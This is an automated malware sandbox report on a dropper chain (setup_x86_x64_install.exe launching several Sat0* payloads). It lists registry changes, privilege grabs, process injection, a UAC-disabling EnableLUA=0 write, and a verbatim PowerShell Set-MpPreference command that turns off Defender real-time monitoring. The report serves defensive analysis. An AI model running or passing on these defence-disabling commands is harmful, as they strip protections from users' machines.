Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	services32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	Conhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	conhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	services32.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	Calculator.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	Calculator.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	Calculator.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	Conhost.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	conhost.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe

Kills process with taskkill 7 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid process

8092 taskkill.exe
4208 taskkill.exe
6308 taskkill.exe
4696 taskkill.exe
4672 taskkill.exe
5948 taskkill.exe
2912 taskkill.exe

pid	process
8092	taskkill.exe
4208	taskkill.exe
6308	taskkill.exe
4696	taskkill.exe
4672	taskkill.exe
5948	taskkill.exe
2912	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

Processes:

cmstp.exe

description	ioc	process
Key created	\Registry\User\S-1-5-21-257790753-2419383948-818201544-1000\SOFTWARE\Microsoft\Internet Explorer\IntelliForms\Storage2	cmstp.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

svchost.exeWaaSMedicAgent.exeWaaSMedicAgent.exesvchost.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ProviderPasswordLength = "8"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ProviderPasswordCharacterGroups = "2"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe

Modifies registry class 5 IoCs

Processes:

Explorer.EXE

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	Explorer.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	Explorer.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{5b934b42-522b-4c34-bbfe-37a3ef7b9c90}\Instance\	Explorer.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{f8278c54-a712-415b-b593-b77a2be0dda9}\Instance\	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	Explorer.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exeSat016e74da9cbf1.exeSat0188dba58af938.exe

pid	process
2664	powershell.exe
2664	powershell.exe
2264	powershell.exe
2264	powershell.exe
3788	Sat016e74da9cbf1.exe
3788	Sat016e74da9cbf1.exe
3788	Sat016e74da9cbf1.exe
3788	Sat016e74da9cbf1.exe
3788	Sat016e74da9cbf1.exe
3788	Sat016e74da9cbf1.exe
3788	Sat016e74da9cbf1.exe
3788	Sat016e74da9cbf1.exe
3788	Sat016e74da9cbf1.exe
3788	Sat016e74da9cbf1.exe
3788	Sat016e74da9cbf1.exe
3788	Sat016e74da9cbf1.exe
3788	Sat016e74da9cbf1.exe
3788	Sat016e74da9cbf1.exe
3788	Sat016e74da9cbf1.exe
3788	Sat016e74da9cbf1.exe
3788	Sat016e74da9cbf1.exe
3788	Sat016e74da9cbf1.exe
3788	Sat016e74da9cbf1.exe
3788	Sat016e74da9cbf1.exe
3788	Sat016e74da9cbf1.exe
3788	Sat016e74da9cbf1.exe
3788	Sat016e74da9cbf1.exe
3788	Sat016e74da9cbf1.exe
3788	Sat016e74da9cbf1.exe
3788	Sat016e74da9cbf1.exe
3788	Sat016e74da9cbf1.exe
3788	Sat016e74da9cbf1.exe
4872	Sat0188dba58af938.exe
3788	Sat016e74da9cbf1.exe
4872	Sat0188dba58af938.exe
3788	Sat016e74da9cbf1.exe
4872	Sat0188dba58af938.exe
4872	Sat0188dba58af938.exe
4872	Sat0188dba58af938.exe
4872	Sat0188dba58af938.exe
3788	Sat016e74da9cbf1.exe
4872	Sat0188dba58af938.exe
4872	Sat0188dba58af938.exe
3788	Sat016e74da9cbf1.exe
4872	Sat0188dba58af938.exe
4872	Sat0188dba58af938.exe
4872	Sat0188dba58af938.exe
4872	Sat0188dba58af938.exe
3788	Sat016e74da9cbf1.exe
3788	Sat016e74da9cbf1.exe
3788	Sat016e74da9cbf1.exe
3788	Sat016e74da9cbf1.exe
4872	Sat0188dba58af938.exe
4872	Sat0188dba58af938.exe
3788	Sat016e74da9cbf1.exe
3788	Sat016e74da9cbf1.exe
4872	Sat0188dba58af938.exe
4872	Sat0188dba58af938.exe
3788	Sat016e74da9cbf1.exe
3788	Sat016e74da9cbf1.exe
4872	Sat0188dba58af938.exe
4872	Sat0188dba58af938.exe
3788	Sat016e74da9cbf1.exe
3788	Sat016e74da9cbf1.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

Explorer.EXE

pid process

3196 Explorer.EXE

pid	process
3196	Explorer.EXE

Suspicious behavior: MapViewOfSection 9 IoCs

Processes:

okMapBnuwoKkFkv6DNJnxaAd.exeLRSqKfZCaNZ_zXzXGAw7tCbk.execmstp.exeD6C9.exe

pid	process
3372	okMapBnuwoKkFkv6DNJnxaAd.exe
3372	okMapBnuwoKkFkv6DNJnxaAd.exe
3372	okMapBnuwoKkFkv6DNJnxaAd.exe
7024	LRSqKfZCaNZ_zXzXGAw7tCbk.exe
6956	cmstp.exe
6956	cmstp.exe
6956	cmstp.exe
6956	cmstp.exe
5388	D6C9.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs

Processes:

msedge.exe

pid process

7388 msedge.exe
7388 msedge.exe
7388 msedge.exe
7388 msedge.exe
7388 msedge.exe
7388 msedge.exe
7388 msedge.exe
7388 msedge.exe

pid	process
7388	msedge.exe
7388	msedge.exe
7388	msedge.exe
7388	msedge.exe
7388	msedge.exe
7388	msedge.exe
7388	msedge.exe
7388	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

svchost.exeSat01e3b3e0fa80800c.exeSat01b537da2e0af175a.exepowershell.exepowershell.exesvchost.exeSat01c5002407.exenYM_HzkzBazNv3s7A45da1FV.exe

description	pid	process
Token: SeShutdownPrivilege	2432	svchost.exe
Token: SeCreatePagefilePrivilege	2432	svchost.exe
Token: SeShutdownPrivilege	2432	svchost.exe
Token: SeCreatePagefilePrivilege	2432	svchost.exe
Token: SeShutdownPrivilege	2432	svchost.exe
Token: SeCreatePagefilePrivilege	2432	svchost.exe
Token: SeCreateTokenPrivilege	4692	Sat01e3b3e0fa80800c.exe
Token: SeAssignPrimaryTokenPrivilege	4692	Sat01e3b3e0fa80800c.exe
Token: SeLockMemoryPrivilege	4692	Sat01e3b3e0fa80800c.exe
Token: SeIncreaseQuotaPrivilege	4692	Sat01e3b3e0fa80800c.exe
Token: SeMachineAccountPrivilege	4692	Sat01e3b3e0fa80800c.exe
Token: SeTcbPrivilege	4692	Sat01e3b3e0fa80800c.exe
Token: SeSecurityPrivilege	4692	Sat01e3b3e0fa80800c.exe
Token: SeTakeOwnershipPrivilege	4692	Sat01e3b3e0fa80800c.exe
Token: SeLoadDriverPrivilege	4692	Sat01e3b3e0fa80800c.exe
Token: SeSystemProfilePrivilege	4692	Sat01e3b3e0fa80800c.exe
Token: SeSystemtimePrivilege	4692	Sat01e3b3e0fa80800c.exe
Token: SeProfSingleProcessPrivilege	4692	Sat01e3b3e0fa80800c.exe
Token: SeIncBasePriorityPrivilege	4692	Sat01e3b3e0fa80800c.exe
Token: SeCreatePagefilePrivilege	4692	Sat01e3b3e0fa80800c.exe
Token: SeCreatePermanentPrivilege	4692	Sat01e3b3e0fa80800c.exe
Token: SeBackupPrivilege	4692	Sat01e3b3e0fa80800c.exe
Token: SeRestorePrivilege	4692	Sat01e3b3e0fa80800c.exe
Token: SeShutdownPrivilege	4692	Sat01e3b3e0fa80800c.exe
Token: SeDebugPrivilege	4692	Sat01e3b3e0fa80800c.exe
Token: SeAuditPrivilege	4692	Sat01e3b3e0fa80800c.exe
Token: SeSystemEnvironmentPrivilege	4692	Sat01e3b3e0fa80800c.exe
Token: SeChangeNotifyPrivilege	4692	Sat01e3b3e0fa80800c.exe
Token: SeRemoteShutdownPrivilege	4692	Sat01e3b3e0fa80800c.exe
Token: SeUndockPrivilege	4692	Sat01e3b3e0fa80800c.exe
Token: SeSyncAgentPrivilege	4692	Sat01e3b3e0fa80800c.exe
Token: SeEnableDelegationPrivilege	4692	Sat01e3b3e0fa80800c.exe
Token: SeManageVolumePrivilege	4692	Sat01e3b3e0fa80800c.exe
Token: SeImpersonatePrivilege	4692	Sat01e3b3e0fa80800c.exe
Token: SeCreateGlobalPrivilege	4692	Sat01e3b3e0fa80800c.exe
Token: 31	4692	Sat01e3b3e0fa80800c.exe
Token: 32	4692	Sat01e3b3e0fa80800c.exe
Token: 33	4692	Sat01e3b3e0fa80800c.exe
Token: 34	4692	Sat01e3b3e0fa80800c.exe
Token: 35	4692	Sat01e3b3e0fa80800c.exe
Token: SeDebugPrivilege	5092	Sat01b537da2e0af175a.exe
Token: SeDebugPrivilege	2664	powershell.exe
Token: SeDebugPrivilege	2264	powershell.exe
Token: SeShutdownPrivilege	4308	svchost.exe
Token: SeCreatePagefilePrivilege	4308	svchost.exe
Token: SeDebugPrivilege	4936	Sat01c5002407.exe
Token: SeCreateTokenPrivilege	5700	nYM_HzkzBazNv3s7A45da1FV.exe
Token: SeAssignPrimaryTokenPrivilege	5700	nYM_HzkzBazNv3s7A45da1FV.exe
Token: SeLockMemoryPrivilege	5700	nYM_HzkzBazNv3s7A45da1FV.exe
Token: SeIncreaseQuotaPrivilege	5700	nYM_HzkzBazNv3s7A45da1FV.exe
Token: SeMachineAccountPrivilege	5700	nYM_HzkzBazNv3s7A45da1FV.exe
Token: SeTcbPrivilege	5700	nYM_HzkzBazNv3s7A45da1FV.exe
Token: SeSecurityPrivilege	5700	nYM_HzkzBazNv3s7A45da1FV.exe
Token: SeTakeOwnershipPrivilege	5700	nYM_HzkzBazNv3s7A45da1FV.exe
Token: SeLoadDriverPrivilege	5700	nYM_HzkzBazNv3s7A45da1FV.exe
Token: SeSystemProfilePrivilege	5700	nYM_HzkzBazNv3s7A45da1FV.exe
Token: SeSystemtimePrivilege	5700	nYM_HzkzBazNv3s7A45da1FV.exe
Token: SeProfSingleProcessPrivilege	5700	nYM_HzkzBazNv3s7A45da1FV.exe
Token: SeIncBasePriorityPrivilege	5700	nYM_HzkzBazNv3s7A45da1FV.exe
Token: SeCreatePagefilePrivilege	5700	nYM_HzkzBazNv3s7A45da1FV.exe
Token: SeCreatePermanentPrivilege	5700	nYM_HzkzBazNv3s7A45da1FV.exe
Token: SeBackupPrivilege	5700	nYM_HzkzBazNv3s7A45da1FV.exe
Token: SeRestorePrivilege	5700	nYM_HzkzBazNv3s7A45da1FV.exe
Token: SeShutdownPrivilege	5700	nYM_HzkzBazNv3s7A45da1FV.exe

Suspicious use of FindShellTrayWindow 3 IoCs

Processes:

mshta.exemsedge.exeCalculator.exe

pid process

3088 mshta.exe
7388 msedge.exe
4176 Calculator.exe
Suspicious use of UnmapMainImage 1 IoCs

Processes:

Explorer.EXE

pid process

3196 Explorer.EXE

pid	process
3088	mshta.exe
7388	msedge.exe
4176	Calculator.exe

pid	process
3196	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

setup_x86_x64_install.exesetup_installer.exesetup_install.execmd.execmd.execmd.execmd.execmd.execmd.exe

description	pid	process	target process
PID 1648 wrote to memory of 4344	1648	setup_x86_x64_install.exe	setup_installer.exe
PID 1648 wrote to memory of 4344	1648	setup_x86_x64_install.exe	setup_installer.exe
PID 1648 wrote to memory of 4344	1648	setup_x86_x64_install.exe	setup_installer.exe
PID 4344 wrote to memory of 1436	4344	setup_installer.exe	setup_install.exe
PID 4344 wrote to memory of 1436	4344	setup_installer.exe	setup_install.exe
PID 4344 wrote to memory of 1436	4344	setup_installer.exe	setup_install.exe
PID 1436 wrote to memory of 2148	1436	setup_install.exe	cmd.exe
PID 1436 wrote to memory of 2148	1436	setup_install.exe	cmd.exe
PID 1436 wrote to memory of 2148	1436	setup_install.exe	cmd.exe
PID 1436 wrote to memory of 444	1436	setup_install.exe	cmd.exe
PID 1436 wrote to memory of 444	1436	setup_install.exe	cmd.exe
PID 1436 wrote to memory of 444	1436	setup_install.exe	cmd.exe
PID 444 wrote to memory of 2664	444	cmd.exe	powershell.exe
PID 444 wrote to memory of 2664	444	cmd.exe	powershell.exe
PID 444 wrote to memory of 2664	444	cmd.exe	powershell.exe
PID 2148 wrote to memory of 2264	2148	cmd.exe	powershell.exe
PID 2148 wrote to memory of 2264	2148	cmd.exe	powershell.exe
PID 2148 wrote to memory of 2264	2148	cmd.exe	powershell.exe
PID 1436 wrote to memory of 5000	1436	setup_install.exe	cmd.exe
PID 1436 wrote to memory of 5000	1436	setup_install.exe	cmd.exe
PID 1436 wrote to memory of 5000	1436	setup_install.exe	cmd.exe
PID 1436 wrote to memory of 3340	1436	setup_install.exe	cmd.exe
PID 1436 wrote to memory of 3340	1436	setup_install.exe	cmd.exe
PID 1436 wrote to memory of 3340	1436	setup_install.exe	cmd.exe
PID 1436 wrote to memory of 4040	1436	setup_install.exe	cmd.exe
PID 1436 wrote to memory of 4040	1436	setup_install.exe	cmd.exe
PID 1436 wrote to memory of 4040	1436	setup_install.exe	cmd.exe
PID 1436 wrote to memory of 4832	1436	setup_install.exe	cmd.exe
PID 1436 wrote to memory of 4832	1436	setup_install.exe	cmd.exe
PID 1436 wrote to memory of 4832	1436	setup_install.exe	cmd.exe
PID 1436 wrote to memory of 2824	1436	setup_install.exe	cmd.exe
PID 1436 wrote to memory of 2824	1436	setup_install.exe	cmd.exe
PID 1436 wrote to memory of 2824	1436	setup_install.exe	cmd.exe
PID 1436 wrote to memory of 3412	1436	setup_install.exe	cmd.exe
PID 1436 wrote to memory of 3412	1436	setup_install.exe	cmd.exe
PID 1436 wrote to memory of 3412	1436	setup_install.exe	cmd.exe
PID 1436 wrote to memory of 3988	1436	setup_install.exe	cmd.exe
PID 1436 wrote to memory of 3988	1436	setup_install.exe	cmd.exe
PID 1436 wrote to memory of 3988	1436	setup_install.exe	cmd.exe
PID 1436 wrote to memory of 4208	1436	setup_install.exe	cmd.exe
PID 1436 wrote to memory of 4208	1436	setup_install.exe	cmd.exe
PID 1436 wrote to memory of 4208	1436	setup_install.exe	cmd.exe
PID 1436 wrote to memory of 4376	1436	setup_install.exe	cmd.exe
PID 1436 wrote to memory of 4376	1436	setup_install.exe	cmd.exe
PID 1436 wrote to memory of 4376	1436	setup_install.exe	cmd.exe
PID 4040 wrote to memory of 5092	4040	cmd.exe	Sat01b537da2e0af175a.exe
PID 4040 wrote to memory of 5092	4040	cmd.exe	Sat01b537da2e0af175a.exe
PID 1436 wrote to memory of 5056	1436	setup_install.exe	cmd.exe
PID 1436 wrote to memory of 5056	1436	setup_install.exe	cmd.exe
PID 1436 wrote to memory of 5056	1436	setup_install.exe	cmd.exe
PID 3340 wrote to memory of 3160	3340	cmd.exe	Sat01866e4ba0024d.exe
PID 3340 wrote to memory of 3160	3340	cmd.exe	Sat01866e4ba0024d.exe
PID 3340 wrote to memory of 3160	3340	cmd.exe	Sat01866e4ba0024d.exe
PID 2824 wrote to memory of 4872	2824	cmd.exe	Sat0188dba58af938.exe
PID 2824 wrote to memory of 4872	2824	cmd.exe	Sat0188dba58af938.exe
PID 2824 wrote to memory of 4872	2824	cmd.exe	Sat0188dba58af938.exe
PID 5000 wrote to memory of 3788	5000	cmd.exe	Sat016e74da9cbf1.exe
PID 5000 wrote to memory of 3788	5000	cmd.exe	Sat016e74da9cbf1.exe
PID 5000 wrote to memory of 3788	5000	cmd.exe	Sat016e74da9cbf1.exe
PID 1436 wrote to memory of 1968	1436	setup_install.exe	cmd.exe
PID 1436 wrote to memory of 1968	1436	setup_install.exe	cmd.exe
PID 1436 wrote to memory of 1968	1436	setup_install.exe	cmd.exe
PID 1436 wrote to memory of 4828	1436	setup_install.exe	cmd.exe
PID 1436 wrote to memory of 4828	1436	setup_install.exe	cmd.exe

System policy modification 1 TTPs 1 IoCs
evasion

Modify Registry
T1112

Processes:

569C.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 569C.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of UnmapMainImage
PID:3196

C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
2⤵
- Suspicious use of WriteProcessMemory
PID:1648

C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4344

C:\Users\Admin\AppData\Local\Temp\7zS8F07DB83\setup_install.exe
"C:\Users\Admin\AppData\Local\Temp\7zS8F07DB83\setup_install.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1436

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
5⤵
- Suspicious use of WriteProcessMemory
PID:2148

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
6⤵
- Suspicious behavior: EnumeratesProcesses
